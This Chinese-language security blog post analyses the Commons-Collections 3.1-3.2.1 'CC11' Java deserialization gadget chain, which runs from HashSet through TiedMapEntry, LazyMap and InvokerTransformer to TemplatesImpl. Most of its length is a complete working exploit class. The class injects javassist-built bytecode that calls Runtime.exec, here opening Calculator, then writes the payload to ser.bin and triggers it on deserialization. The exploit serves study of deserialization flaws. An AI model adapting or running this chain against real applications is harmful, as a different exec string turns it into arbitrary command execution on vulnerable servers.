利用条件
Commons-Collections 3.1 - 3.2.1版本
不限制JDK版本
利用链

Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
... templates gadgets ...
java.lang.Runtime.exec()
利用链分析
在CC11利用链中,使用了CC2和CC6的一些链,在CC11利用链中反序列化入口类是 HashSet 类,如果不先分析就直接看代码是有点懵的

先放一张整个调用栈的过程图
HashSet

在 HashSet 类的 readObject 方法中调用了 map 属性的 put() 方法

而这个 map 属性是 private 私有属性,无法直接修改这个 map 属性的值,后期我们通过反射来修改
HashMap

这里就和CC6链差不多了,这里还是主要看 key 我们能不能控制

因为在 HashMap 类中调用了 key 这个对象的 hashCode() 方法

在 HashMap 类中想要修改 key 的话需要对 table 属性的节点对象数组进行修改,我们需要先获取该 HashMap 类对象的 table 属性的节点对象数组,然后找到某个键值对,再修改这个 key,当然,这个过程是需要反射来操作的
TiedMapEntry

那么,这个 key 设置为和CC6利用链后半部分一样就可以了,设置为 TiedMapEntry 类对象,这样就可以调用到 TiedMapEntry.hashCode() 方法


在实例化 TiedMapEntry 类对象的时候,将 LazyMap 类对象和 TemplatesImpl 类对象作为构造方法的参数即可,如果CC1-CC7都学过了的话,这里都懂哈
LazyMap



同样的,在 LazyMap 类对象 decorate() 方法的时候,就可以对 factory 属性进行赋值,这里只要把 factory 属性的值设置为 InvokerTransformer 类对象即可,map 赋值一个空的 HashMap 就行,因为后面我们用不到
InvokeTransformer



这里要注意一点,我们需要通过反射来修改 InvokerTransformer 类对象的 iMethodName 属性值,因为在序列化时 HashSet 调用 add() 方法就会触发,这样会导致在序列化时就会执行加载的恶意字节码,所以需要通过反射来修改

最后,到了这里就成功执行了加载的恶意字节码,和CC2的前半部分差不多
根据上面分析的,我们大概能写出中间的部分代码
HashSet hashset = new HashSet(1);
hashset.add("a");
// 为了兼容JDK8以下版本
Field mapField;
try{
mapField = HashSet.class.getDeclaredField("map");
}catch(NoSuchFieldException e){
mapField = HashSet.class.getDeclaredField("backingMap");
}
mapField.setAccessible(true);
HashMap hashset_Map = (HashMap) mapField.get(hashset);
Field tableField;
try{
tableField = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
tableField = HashMap.class.getDeclaredField("elementData");
}
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(hashset_Map);
Object node = array[0];
if (node == null){
node = array[1];
}
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer,"newTransformer");
JDK8以下版本和JDK8及以后版本的 HashMap 类和 HashSet 类的元素存储方式发生了变化,所以以上代码兼容了JDK8以下版本
利用链EXP编写
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
public class CommonsCollections11 {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("EvilCode");
ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
ctClass.setName("EvilCode" + System.nanoTime());
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytecode = ctClass.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class templateImplClass = templates.getClass();
Field nameField = templateImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"x");
Field bytecodesField = templateImplClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,bytecodes);
InvokerTransformer transformer = new InvokerTransformer("aaa", new Class[]{}, new Object[]{});
HashMap innermap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(lazyMap,templates);
HashSet hashset = new HashSet(1);
hashset.add("a");
// 为了兼容JDK8以下版本
Field mapField;
try{
mapField = HashSet.class.getDeclaredField("map");
}catch(NoSuchFieldException e){
mapField = HashSet.class.getDeclaredField("backingMap");
}
mapField.setAccessible(true);
HashMap hashset_Map = (HashMap) mapField.get(hashset);
Field tableField;
try{
tableField = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
tableField = HashMap.class.getDeclaredField("elementData");
}
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(hashset_Map);
Object node = array[0];
if (node == null){
node = array[1];
}
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer,"newTransformer");
serialize(hashset);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/ea620075ac0a.html
Comments